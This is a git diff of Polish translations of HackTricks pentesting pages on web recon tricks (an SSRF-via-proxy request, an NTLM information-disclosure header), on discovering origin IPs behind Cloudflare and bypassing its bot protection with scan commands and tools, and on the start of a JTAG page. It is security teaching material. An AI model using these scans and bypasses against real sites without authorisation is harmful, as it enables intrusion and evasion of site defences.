@ -306,14 +307,14 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
|
|||
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
|
||||
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
|
||||
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
|
||||
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Również interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz na przykład użyć [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
||||
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Upiększacz JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co będzie przydatne: [https://regex101.com/](https://regex101.com)
|
||||
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalną nową podatną funkcjonalność.
|
||||
* W kilku sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com)
|
||||
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
|
||||
|
||||
|
@ -323,26 +324,26 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp do** _**google.com**_ **i znajdziesz** SSRF.
|
||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje uzyskać dostęp do _**google.com**_ **i w ten sposób odkryjesz** SSRF.
|
||||
|
||||
**Autoryzacja NTLM - Ujawnienie informacji**
|
||||
|
||||
Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i proszące o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
|
||||
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na to, jak działa autoryzacja **NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i pytające o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
|
||||
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **autoryzacji NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Przekierowanie HTTP (CTF)**
|
||||
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie pokazywana użytkownikowi** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
|
||||
### Sprawdzanie podatności sieci webowej
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
|
||||
### Sprawdzanie podatności sieci Web
|
||||
|
||||
Po przeprowadzeniu kompleksowego wyliczenia aplikacji sieci webowej nadszedł czas, aby sprawdzić wiele potencjalnych podatności. Możesz znaleźć listę kontrolną tutaj:
|
||||
Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Dowiedz się więcej o podatnościach sieci webowej:
|
||||
Dowiedz się więcej o podatnościach sieci Web:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -354,7 +355,7 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -2,38 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Powszechne Techniki Odkrywania Cloudflare
|
||||
|
||||
## Wspólne techniki odkrywania Cloudflare
|
||||
|
||||
* Możesz użyć usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działa na adresie IP używanym wcześniej.
|
||||
* To samo można osiągnąć, **sprawdzając historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
|
||||
* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu udostępnienia FTP, poczty lub innej usługi).
|
||||
* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działała wcześniej na adresie IP.
|
||||
* To samo można osiągnąć, sprawdzając **historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
|
||||
* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu oferowania FTP, poczty lub innej usługi).
|
||||
* Jeśli znajdziesz **SSRF wewnątrz aplikacji internetowej**, możesz go wykorzystać, aby uzyskać adres IP serwera.
|
||||
* Wyszukaj unikalny ciąg znaków ze strony internetowej w przeglądarkach, takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP zawierający ten treść.
|
||||
* W podobny sposób, zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
* To nie będzie działać bardzo często, ponieważ serwer musi wysyłać tę samą odpowiedź, gdy jest odwoływany przez adres IP, ale nigdy nie wiesz.
|
||||
* Wyszukaj unikalny ciąg znaków strony internetowej w przeglądarkach takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP z tym treścią.
|
||||
* W podobny sposób zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany się przez adres IP, ale nigdy nie wiesz.
|
||||
|
||||
## Narzędzia do odkrywania Cloudflare
|
||||
## Narzędzia do Odkrywania Cloudflare
|
||||
|
||||
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub użyj narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które korzysta z tej samej API)
|
||||
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które wykorzystuje to API)
|
||||
* Wyszukaj domenę w [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, następnie będzie szukać adresów IPv4 w tych certyfikatach, a na koniec spróbuje uzyskać dostęp do strony internetowej na tych adresach IP.
|
||||
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a ostatecznie spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP.
|
||||
* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r to potężne narzędzie Pythona starannie opracowane, aby odkryć prawdziwy adres IP stron internetowych zabezpieczonych przez Cloudflare i inne alternatywy, powszechnie stosowaną usługę poprawiającą bezpieczeństwo i wydajność sieci. Jego głównym celem jest dokładne rozpoznanie rzeczywistego adresu IP serwerów internetowych ukrytych za osłoną ochronną Cloudflare.
|
||||
* [Censys](https://search.censys.io/)
|
||||
* [Shodan](https://shodan.io/)
|
||||
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
|
||||
* Jeśli masz zestaw potencjalnych adresów IP, na których znajduje się strona internetowa, możesz użyć [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
|
||||
* Jeśli masz zestaw potencjalnych adresów IP, gdzie znajduje się strona internetowa, możesz skorzystać z [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
|
||||
```bash
|
||||
# You can check if the tool is working with
|
||||
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
|
||||
|
@ -47,7 +47,7 @@ echo "Checking $ir"
|
|||
prips $ir | hakoriginfinder -h "$DOMAIN"
|
||||
done
|
||||
```
|
||||
## Odkrywanie Cloudflare z maszyn w chmurze
|
||||
## Odkrywanie Cloudflare z maszyn chmurowych
|
||||
|
||||
Należy zauważyć, że nawet jeśli to zostało wykonane dla maszyn AWS, można to zrobić dla dowolnego innego dostawcy chmury.
|
||||
|
||||
|
@ -67,38 +67,38 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
|
|||
# Search via Host header
|
||||
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
|
||||
```
|
||||
## Omijanie Cloudflare za pomocą Cloudflare
|
||||
## Ominięcie Cloudflare poprzez Cloudflare
|
||||
|
||||
### Uwierzytelnione Origin Pulls
|
||||
### Uwierzytelnione Pochodzenie Pobiera
|
||||
|
||||
Ten mechanizm polega na **użyciu certyfikatów SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, co nazywane jest **mTLS**.
|
||||
Ten mechanizm polega na **certyfikatach SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, który jest nazywany **mTLS**.
|
||||
|
||||
Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby umożliwić dowolne połączenie z Cloudflare, **bez względu na najemcę**.
|
||||
Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby zezwolić na dowolne połączenie z Cloudflare, **bez względu na najemcę**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
W związku z tym, atakujący może po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare** i skierować ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
|
||||
Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
|
||||
{% endhint %}
|
||||
|
||||
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
### Dozwolone adresy IP Cloudflare
|
||||
### Pozwól na Listę Adresów IP Cloudflare
|
||||
|
||||
Spowoduje to **odrzucenie połączeń, które nie pochodzą z zakresu adresów IP Cloudflare**. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skierowuje swoją własną domenę w Cloudflare** na adres IP **ofiary** i atakuje go.
|
||||
To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP **ofiary** i ją zaatakuje.
|
||||
|
||||
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
## Omijanie Cloudflare dla scrapingu
|
||||
## Ominięcie Cloudflare dla scrapowania
|
||||
|
||||
### Pamięć podręczna
|
||||
|
||||
Czasami chcesz po prostu ominąć Cloudflare, aby tylko przeszukiwać stronę internetową. Istnieją pewne opcje:
|
||||
Czasami chcesz po prostu ominąć Cloudflare, aby tylko scrapować stronę internetową. Istnieją pewne opcje:
|
||||
|
||||
* Użyj pamięci podręcznej Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
|
||||
* Użyj innych usług pamięci podręcznej, takich jak [https://archive.org/web/](https://archive.org/web/)
|
||||
|
||||
### Rozwiązania Cloudflare
|
||||
|
||||
Opracowano wiele rozwiązań Cloudflare:
|
||||
Opracowano kilka rozwiązań do omijania Cloudflare:
|
||||
|
||||
* [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
|
||||
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Przewodnik tutaj](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
|
||||
|
@ -108,52 +108,51 @@ Opracowano wiele rozwiązań Cloudflare:
|
|||
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Zarchiwizowane]
|
||||
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
|
||||
### Wzmocnione przeglądarki bez głowy <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
### Wzmocnione przeglądarki bezinterfejsowe <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
|
||||
Użyj przeglądarki bez głowy, która nie jest wykrywana jako automatyczna przeglądarka (może być konieczne dostosowanie jej do tego). Oto kilka opcji:
|
||||
Użyj przeglądarki bezinterfejsowej, która nie jest wykrywana jako przeglądarka zautomatyzowana (może być konieczne dostosowanie jej do tego). Niektóre opcje to:
|
||||
|
||||
* **Puppeteer:** Wtyczka [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) dla [puppeteer](https://github.com/puppeteer/puppeteer).
|
||||
* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź rozwój [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
|
||||
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), zoptymalizowany patch dla Selenium Chromedriver.
|
||||
* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
|
||||
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) zoptymalizowany łatka do Selenium Chromedriver.
|
||||
|
||||
### Inteligentny proxy z wbudowanym mechanizmem bypassu Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
### Inteligentny Proxy z Wbudowanym Ominięciem Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
|
||||
**Inteligentne proxy** są ciągle aktualizowane przez wyspecjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to jest ich działalność).
|
||||
**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to ich działalność).
|
||||
|
||||
Niektóre z nich to:
|
||||
* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
|
||||
|
||||
* [ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)
|
||||
* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
|
||||
* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
|
||||
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów bypassu Cloudflare.
|
||||
* [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)
|
||||
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów ominięcia Cloudflare.
|
||||
|
||||
Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepsze i najbardziej opłacalne proxy dla Twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
|
||||
Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [Aggregator Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepszy i najbardziej opłacalny proxy dla twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
|
||||
|
||||
### Reverse Engineering ochrony przed botami Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
### Odwrócenie Ochrony Przeciwbota Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
|
||||
Reverse engineering środków anty-botowych Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego przeszukiwania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bez głowy.
|
||||
Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego scrapowania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bezinterfejsowych.
|
||||
|
||||
**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego bypassu, który specjalnie celuje w kontrole Cloudflare, idealny do operacji na dużą skalę.
|
||||
**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego ominięcia, które specjalnie celuje w kontrole Cloudflare, idealne do operacji na dużą skalę.
|
||||
|
||||
**Wady:** Wada polega na złożoności związanej z zrozumieniem i oszukiwaniem celowo niejasnego systemu anty-botowego Cloudflare, wymagającym ciągłego wysiłku w celu testowania różnych strategii i aktualizacji bypassu w miarę udoskonalania ochrony Cloudflare.
|
||||
**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w celu testowania różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare.
|
||||
|
||||
Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
|
||||
|
||||
|
||||
|
||||
## Odwołania
|
||||
## Referencje
|
||||
|
||||
* [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,26 @@
|
|||
# Hacking sprzętowy
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## JTAG
|
||||
|
||||
#
|
||||
JTAG pozwala na przeprowadzenie skanowania granicznego. Skanowanie graniczne analizuje określoną układankę, w tym wbudowane komórki skanowania granicznego i rejestry dla każdego pinu.
|
||||
|
||||
# JTAG
|
||||
Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanowania granicznego**, w tym:
|
||||
|
||||
